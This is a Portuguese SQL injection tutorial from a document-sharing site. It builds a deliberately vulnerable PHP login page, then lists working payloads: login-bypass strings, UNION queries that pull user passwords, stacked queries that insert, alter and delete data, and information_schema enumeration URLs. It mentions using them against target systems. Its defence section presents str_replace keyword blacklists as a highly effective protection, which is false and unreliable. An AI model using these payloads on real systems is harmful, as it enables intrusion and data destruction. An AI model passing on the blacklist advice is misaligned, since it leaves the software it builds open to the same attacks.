Académique Documents
Professionnel Documents
Culture Documents
ndice
Criando uma query Principio do sqlinjection Criando um sistema de login E senha para testes Burlar uma query Burlar um sistema de login e senha Usando parmetro UNION Inserindo dados no banco de dados sem permisso Alterando dados do banco de dados sem permisso Excluindo dados do banco de dados sem permisso Excluindo tabelas do banco de dados sem permisso Excluindo database sem permisso Descobrir nome das colunas do banco de dados Descobrir nomes de tabelas do banco de dados Protegendo dados do banco Emunizando site, sistema... do sqlinjection Proteo na query concluso Pag: 3 Pag: 5 Pag: 6 Pag: 9 Pag: 11 Pag: 16 Pag: 17 Pag: 19 Pag: 21 Pag: 22 Pag: 23 Pag: 24 Pag: 26 pag: 29 pag: 29 pag: 31 pag: 34
Para voc aprender com preciso esta apostila, voc precisa de saber: Bsico em php, Bsico em linguagem de programao e principalmente saber mexer com banco de dados
Exemplo1: $query_rr = select id, nome, descrio, valor, data, tipo from produtos; Explicao: selecione as colunas(id,nome,descrio,valor,data,tipo) da tabela produtos Exemplo2: $query_rr = INSERT INTO produtos (`nome`,`descricao`, qtd`, `preco`, `status`, `data`) VALUES (NOTEBOOK', 'notebook para pessoas', '3', '1500,00,qunta', 'notebook', quita feira); Explicacao: Insira na tabela produtos, os dados seguintes: NOTEBOOK na coluna nome, notebook para pessoas na coluna descrio, 3 para a coluna qtd, 1500,00 para a coluna preo,notebook para a coluna status, quinta feira para a coluna data.
Explicao: Delete a linha da tabela produtos em que o cod seja igual 1002
Exemplo4: $query_rr Explicao: Delete o banco de dados sistema; = drop database sistema;
Principio do sqlinjection
O principio do sql injection, voc saber o mximo que voc pode sobre banco de dados. Baixe para a sua maquina, o progrma: heidiSQL, ou outro gerenciador de banco de dados. Pois eles ajudar voc a entender muita coisa na injeo de cdigos maliciosos. Para voc aprender a injetar cdigos sql em uma query, voc precisa entender de banco de dados. Assim, voc entenderia como funcionam as consultas sql, e como burlar uma consulta. Para depois conseqentemente aprender a si proteger contra estas pecas raras que saem invadindo todos sistemas que vem pela frente sem saber com quem est mexendo ou muito menos com quem est lidando, Estas peas raras so chamados de lammer. Si voc uma dessas pessoas que querem aprender sql injection, somente para invadir sistemas. Para de ler esta apostila agora.
</html> Agora, dentro do formulrio de envio. Temos que colocar o campo de login e senha, que neste caso ter os nomes de: utilizador(login) e passe(password). E um boto para enviar o formulrio. <form id="form1" name="form1" method="post" action="valida.php"> <input type="text" name="utilizador" /> <input type="text" name="passe" /> <input type="button" value="Submit" name="Submit" /> </form> Criamos a pagina de login.php, e nesta pagina criamos um formulrio enviando os dados(login e senha) para a pagina, valida.php. Agora, vamos criar a pagina valida.php. Na pagina valida.php, temos que receber os dados que enviamos, e depois verificar si estes dados existem no banco de dados. Ento vamos l... Na pagina valida.php, Coloque o cdigo: <?php require_once("connection/local.php");//pagina de conexao com banco de dados $utilizador=$_POST['utilizador']; $passe =$_POST['passe']; $passe=sha1($passe); mysql_select_db($local_database, $local); $query_rr = "SELECT * from usuarios where usuario='$utilizador' and senha='$passe'"; $rr = mysql_query($query_rr, $local) or die(mysql_error()); $row_rr = mysql_fetch_assoc($rr); $totalRows_rr = mysql_num_rows($rr); if($totalRows_rr>""){ header("location:admin/index.php"); }else{ header("location:error.php");
} ?> Na pagina, admin/index.php. Coloque o cdigo: <body> Bem vindo ao sistema. </body> Voc precisa de uma pagina de error. Error.php Coloque o cdigo: <body> Errou a senha<a href=index.php>voltar</a> </body> Seu sistema est pronto. S falta voc colocar uma pasta chamada connection, com documento php chamado local.php. Cdigo da pagina, local.php <?php $local_host $local_database $local_passe $local_user =""; ="root"; ="localhost"; ="teste";
$local =mysql_pconnect($local_host,$local_user,$local_passe) or trigger_error(mysql_error(), E_USER_ERROR); ?> Este so os dados da conexo com o banco de dados Agora, basta rodar um servidor wamp na sua maquina e ver como ficou o seu sistema de login. E tambem voce precisa criar um banco de dados para com as tabelas especificas para voce(agora esta parte voce vai ter que si virar).
Query_rr=Select id,nome,descricao,data_ini, data_alt from noticias Where id= 1union select 1,usuario,senha,4,5 from usuarios; Tente entender este cdigo. Leia o capitulo que fala sobre o parametro UNION. Assim voce entender com mais clareza esta query junto do sqlinjection. Leia tambem o capitulo que fala sobre, como listar dados do banco de dados.
Para ter acesso a essa pagina de login e senha, vamos usar os seguintes parametros: -# Or Comentarios Comentrios ou duas aspas simples que quer dizer NADA(ZERO)
Select * from usuarios where usurio= or cod=1 or cod=1-Com esse codigo voce entrar normal no sistema de login e senha. Explicao: Selecione tudo da tabela usuarios em que o usurio seja igual a nada ou a coluna cod seja igual 1 Cdigos sqlinjection:
or1=1 or 1=1 admin and senha!= Esta falha de login e senha, voc pode explorala de varias formas. Em um sistema com login e senha. Para dar mais emoo e facilidade na hora de explorar o sistema. V no site em que este sistema estiver. Pois provavelmente tambm conter uma falha muito maior no site. Em que voc pode descobrir o nome de cada usurio e sua senha
Para quem no entendeu muito bem esta parte da apostila entao, Leia o texto abaixo e tente endender melhor.
muito comum hoje em dia, sites terem uma rea restrita dedicada somente a administradores dos sites a fim de editar o conteudo do site(CMS). Vou mostrar algo aqui neste post, que muitos administradores temeram as pessoas que lerem este tutorial/post. Essa tcnica geralmente chamada de SQL Injection, ou seja, injeo de SQL.
Introducao:
Vamos a prtica: Dentro desse script .asp, o programador colocou algo desse tipo: Cdigo: select id,usurio,senha from usuarios where usurio=$usuario and senha=$senha; Isso acima uma query! Isso verifica se achou um usurio com o login e senha informados Sendo que $usuario o que foi especificado no sistema de login.php, Ento si voc especificar no $usuario um cdigo parecido com esse: Admin -Explicao: Si voc colocar esse cdigo acima no $usuario(Admin--), dependendo do grau de vulnerabilidade no sistema de login e senha. Ele entrara normal, sem dar nenhum erro.
Com este cdigo a query, ficaria assim: Select id,usurio,senha from usuarios where usurio=admin and senha=$senha. Para quem no lembra os dois traos(--), em linguagem de banco de dados, significa que que est na frente so comentrio. Ento na verdade, o que iria valer na query seria. Select id,usurio,senha from usuarios where usurio=admin Ento si existir um usurio no banco de dados chamado admin, o seu sqlinjection ir funcionar normal. Si no funcionar porque no existe este usurio no banco de dados. Ento voc ter que partir para a coleta de informaes do alvo. Tipo: Qual o nome de cada pessoa que utiliza o sistema de login e senha. Si os nomes so: Fernando Algusto Carlos Silvio santos Entao, substitua o admin para um dos nomes acima: Exemplo: Fernando Ou Algusto Ou Carlos Um destes ter que funcionar. Si nenhum destes cdigos funcionar porque o sistema que voc est testando tem um grau de vulnerabilidade menos fcil de si explorar. Entao vamos partir para outro mtodo de explorao. Vamos pensar um pouco: Cdigo: select usuario, senha, nome, admin from Users where usuario= 'geek' and senha= 's3nh4'
Dessa forma, trocamos as variveis cUser e cSenha, pelos seus respectivos contedos. Isso funciona muito bem, quando usado de forma certa. Vale lembrar que de 10 sites que pedem login e
senha, 7 tem essa forma de consulta e esto sujeitos a algum tipo de invaso, dependendo do nvel de acesso que permita aos seus usurios. Ok. Vamos ao erro: Se quando formos digitar um login, tivermos essa string de programao do Sql na cabea, podemos formar outra facilmente, que injeta um comando de Sql, dentro do que o programador j fez. Ou seja, se eu digitar Mario no username, o Sql ficar: Cdigo: select usuario, senha, nome, admin from Users where usuario= 'Mario' and senha= 's3nh4'
Repare que as aspas simples continuam e fazem realmente parte do comando, que mostra ao sql que aquele campo deve ser comparado com um dado do tipo string. Agora, se digitarmos no username Ma'rio (com uma aspa simples no meio), a pgina dar um erro, pois o comando ficaria desse tipo: Cdigo: select usuario, senha, nome, admin from Users where usuario= 'Ma'rio' and senha= 's3nh4' Isso d erro porque, Falando de caracteres como aspas simples e aspas duplas, quando usada voc precisa abrir a aspas e depois fecha-la. Si voc deixar a aspas abertas entao dar erro. Analisando, vemos que quando fomos comparar o campo usurio, abrimos uma aspa simples, colocamos o contedo Ma (Mario) e fechamos a aspa simples. Para o Sql, a comparao terminou a, o que vem depois, deveria ser comandos. Mas no era. Era a continuao do username, a palavra rio e mais uma aspa simples, que deveria estar fechando a primeira (antes da palavra Ma), mas na realidade est abrindo uma nova string no SQL, e como no comparado com nada, o SQL retorna erro de programao. Ento, j que o SQL aguarda ansiosamente por outra aspa simples para fechar aquela primeira, porque ns no damos a ele, e aproveitando, injetamos um comando nele. Imagine se usarmos a string OR1 ficaria assim: Cdigo: select usuario, senha, nome, admin from Users where usuario= '' or '1' and senha= 's3nh4'
Lendo o comando, seria a mesma coisa que falar pro SQL: me retorne o usurio que seja igual a vazio OU 1. Lembrando que 1 em informtica a mesma coisa que True (verdadeiro). Lendo novamente: Me retorne o usurio que seja igual a vazio (no existe nenhum) OU verdadeiro (opa.. verdadeiro verdadeiro, ento achei). Nisso, a tabela pega todos os usurios, pois todos do verdadeiro. No so igual a vazio, mas o 1 garante que todos sejam vlidos. Agora falta s filtrar a senha. Se usarmos a mesma string mgica na senha, ns seremos o primeiro usurio da tabela, pois:
Cdigo: select usuario, senha, nome, admin from Users where usuario= ''or '1' and senha= '' or '1'
Me retorne o usurio que seja igual a vazio (nenhum) OU verdadeiro (todos) E que tenha a senha igual a vazio (nenhum) OU verdadeiro (todos). Isso traz todos os usurios da tabela, porm com o ponteiro no primeiro usurio. Quando fazemos uma tabela de usurios, e colocamos no ar, qual o primeiro usurio que inclumos? Ns mesmos, claro. E com nvel de administrador. E exatamente esse que viramos quando usamos essa falha. Alguns outros casos, so quando queremos entrar com o username de uma determinada pessoa. No username, colocamos o nome dela corretamente, e na senha, como no sabemos, usamos essa string que nos foi enviada por Malm. O SQL, muito esperto, entende que pra retornar o usurio com o nome informado e que tenha uma senha igual a vazio OU verdadeiro. Ou seja, na verdade, ele ir ignorar a senha, e apontar para o registro que o username seja igual ao que foi informando no campo do formulrio. Vou colocar abaixo alguns cdigos para voc colocar no usurio e senha para ter acesso ao banco de dados.
Usuarios: admin or like %%a%% Usuarios: or1=1 Usuarios: or like %%d%% Usuarios: or cod=1 and senha>-Usuarios: > and senha>-Usuarios: or usuario> and senha>--
OBS: Estude estes codigos sqlinjection e tente executar eles em algum sistema que voce mesmo criar. Ou si for utiliza-los em algum sistema alvo. No seja um lammer ou script kiddie que invadem qualquer sistema que vem pela frente s para mostrar que sabem. Voc na precisa mostrar para ningum que voc sabe. As pessoas que precisam ver que voc sabe.
Aqui est o site de teste que ns vamos usar para inserir dados no banco de dados sem permiao. No sei si voc j sabe, mais eu quero explicar para que serve o ponto e virgula(;) , no mysql. ; Serve para voc terminar uma execuo do banco de dados, e comear outra si assim voc quiser.
Exemplo: Select id,titulo,descricao ,dt_cad,dt_alt from noticias where cod=$cod; insert into noticias (titulo,descricao,dt_cad,dt_alt) values ('tetetetete', 'tetetetetete','tetetetet', '1', 'tetettet', 'tetete');
Ento o mais importante voc j viu, que o uso do ponto e virgula(;). Ento vamos entender o cdigo acima que eu criei.
Em uma mesma query, eu estou selecionando dados do banco de dados, e tambm inserindo dados no banco de dados. 1 - Select id, titulo,descrio,dt_cad,dt_alt from noticias where cod=$cod; 2 - insert into noticias(titulo,descricao,dt_cad,dt_alt) values (titulo da noticia aqui, descricao vai aqui, data de cadastro aqui, data de alterao vai aqui);
Com este cdigo que criei, eu consegui cadastrar uma nova noticia. E depois de cadastrada eu listei a mesma com a funo UNION que j foi explicada. Criei somente uma noticia bsica. Com o dados (tetetetetete), s isso; Obs: Si no der nenhum ERRO. porque inseriu os dados com sucesso. Da, basta voc selecionar os dados que voc inseriu
Exemplo: Neste site acima, j est sendo executada alguma coisa ai, porque tem ate alguns dados listados ai. select cod,nome,descricao,img,status,dt_cadastro,dt_alteracao from fabricante where cod='1'; update fabricante set descricao='deu certo o teste',img='deu certo o teste' where cod='1' Obs: Para aqueles que no gostam de estudar. Uma noticia mal: No d para copiar este cdigo e tentar colar em algum alvo. Pois, cada banco de dados possui dados diferentes.
Basta alterar os dados para os quais voce quer excluir Si voc quiser excluir tudo que estiver no banco de dados coloque o seguinte cdigo: ; delete from noticias where cod!='0'
OBS: Lembre de colocar no lugar dos espacos o + mais, ou %20 para que no de error, ou use o internet explorer
OBS: Vai ser da mesma forma do deletar conteudo das tabelas. Porem mais facil
Obs: de uma olhada na parte do curso que ensina como pegar nome do banco de dados. PARA FICAR MAIS FACIL A SUA COMPEENCAO
O LINK NO BROWSER FICARIA ASSIM: http://localhost/teste/index.php?cod=1' union select 1,TABLE_NAME,3,4,5,6,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where COLUMN_NAME!='KKKKK
OBS: Entenda este cdigo, pois si voc entender, voc perceber que voc pode achar qualquer tabela que voc quiser sem muito trabalho
Agora eu vou mostrar O CODIGO que vou utilizar junto com o que j est sendo usado.
select * from marca where cod='1' union select 1,2,TABLE_NAME,4,5,6,7,8,9 from INFORMATION_SCHEMA.tables where TABLE_NAME like '%%usu% %'
Explicacao >
Selecione tudo da tabela marca em que o cod seja igual a 1, e tambem selecione colunas 1,2, table_name,4,5,6,7,8,9 da tabela INFORMATION_SCHEMA.tables em que o nome da tabela seja parecido com usu
Nosso cdigo deu certo. Agora, si voc quiser listar todoas as tabelas do banco de dados em que o nome da tabela seja parecido em A Acrescente o cdigo, or table_name like %%a%%
select * from marca where cod='1' union select 1,2,TABLE_NAME,4,5,6,7,8,9 from INFORMATION_SCHEMA.tables where TABLE_NAME like '%%usu% %' or table_name like %%a%%
Para explorar mais coisas sobre esta vulnerabilidade, basta estudar um pouco sobre sql E ver que voc poder fazer tudo nesta vulnerabilidade.
Emunizando site, sistema... do sqlinjection, Protegendo dados do banco, Protegendo sistema de login e senha
Para voc eminizar o seu site,sistema,portal... uma tarefas fcil para quem sabe. Mais mesmo assim, existem muitos grandes genius porai que ainda assim conseguem executar um sqlinjectio contra e sistema... Ento eu vou tentar explicar de uma forma mais pratica de como si livrar de vulnerabilidades de sqlinjection contra seu site.
Existem muitas formas de si combater o sqlinjection. Vou ensinar somente duas maneiras mais fceis de si proteger. Quando voc est lidando com cdigos numricos via GET ou POST. A maneira mais fcil e melhor de si proteger, quando voc for pegar as variveis via GET ou POST, fazer validao si estas variveis so mesmo nmeros. Si no for nmeros porque est havendo um ataque sqlinjection, ento crie uma pagina de alert ao hacker que est tentando invadir seu sistema. Exemplo: ERROR, pois voc est tentando fazer um sqlinjection. Eu gravei alguns dados seu, inclusive o seu ip. Tente mais uma vez e eu te procurarei por toda parte do mundo, com a policia do meu lado.
Faa uma pagina de erro parecida com essa, para aqueles que estiverem tentando invadir sua pagina, ficar com medo. Cdigo de validao numrica: if(!is_numeric($_POST['codigo'])){ header("location:paginaerror.php") }
Outro cdigo de validao numrica: $codigo=(int)$_POST[codigo]; /*pegando varivel via post,si a varivel for numrica*/
Agora, vem a parte mais difcil de si ligar, que as variveis via POST ou GET que no so geralmente numricas.
Ento para, fazer a validao si estas variveis no so um ataque sqlinjection, Faa da seguinte forma as validaes: Use: Str_replace(aser mudado,mudado, $oque foi mudado); Este parmetro acima, para retirar palavras, caracteres que voc no quer que entre na varivel. Vamos a pratica: Codigo validao: $variavelrecebe $variavelrecebe $variavelrecebe $variavelrecebe $variavelrecebe $variavelrecebe $variavelrecebe $variavelrecebe $variavelrecebe $variavelrecebe $variavelrecebe $variavelrecebe =$_POST[variavel]; =str_replace("'","",$variavelrecebe); =str_replace("+","",$variavelrecebe); =str_replace("%","",$variavelrecebe); =str_replace(" ","",$variavelrecebe); =str_replace("-","",$variavelrecebe); =str_replace("select","",$variavelrecebe); =str_replace("update","",$variavelrecebe); =str_replace("drop","",$variavelrecebe); =str_replace("delete","",$variavelrecebe); =str_replace("database","",$variavelrecebe); =str_replace("table","",$variavelrecebe);
Nesta validao acima ns retiramos alguns caracteres especiais e alguns parmetros que geralmente so utilizados no sqlinjection.. Retiramos: aspa simples(), mais(+),porcentagem(%),espao( ), trao(-), select,update, drop, delete,database,table
Para vocs que sabem outros mtodos de proteo contra sqlinjection, mande um email para mim com o cdigo de proteo, para mim dar uma analizada(juancarloscunha606@hotmail.com)
Proteo na query
Existem muitas formas de se proteger contra ataques sqlinjection. Vou explicar uma das mais usadas. Si voc no quer que a pessoa faa com o sql injection, selects a mais do que voc colocou. Basta fazer o seguinte: Ao pegar os dados e colocar em uma varivel, e colocar uma validao, para toda vez que tiver a palavra select na varivel, ento troque por nada. Exemplo: $utilizador $utilizador = $_POST[utilizador];
=str_replace(select,, $utilizador);
Para voc bloquiar todos os ataques, faca varias trocas com a funo str_replace. $utilizador $utilizador $utilizador $utilizador $utilizador $utilizador $utilizador $utilizador $utilizador = $_POST[utilizador];
=str_replace(select,, $utilizador); =str_replace(union,, $utilizador); =str_replace(update,, $utilizador); =str_replace(insert,, $utilizador); =str_replace(;,, $utilizador); =str_replace(,, $utilizador); =str_replace(from,, $utilizador); =str_replace(where,, $utilizador);
Essa uma das protecoes mais eficientes que est tendo hoje. Todo esse cdigo porque estes dados contem nmeros e letras. Agora, quando voc vai pegar um cdigo com somente nmeros de algum lugar. Basta fazer o seguinte: $codigo =$_POST[codigo];
if(!is_numeric($codigo){ header("location: error.php"); } Este cdigo diz: Si o cdigo que eu peguei via post, for diferente de nmeros, Entao manda para uma pagina de erro
Concluso
Em um sistema que voce usa banco de dados, melhor voc tentar si proteger de todas as formas, pois os hackers do mal estao a solta. Esta apostila para voc, ter que ser uma mera motivaco para estudos mais avancados sobre, como proteger um sistema que si conecta no banco de dados. Lendo esta apostila voc deve ter compreendido que, si um sistema,site... no estiver protegido, no muito dificil de algum hacker do mal invadir seu site.
Bibliografia
juancarloscunha.wordpress.com
Segurana em rede
Protegendo-se contra sqlinjection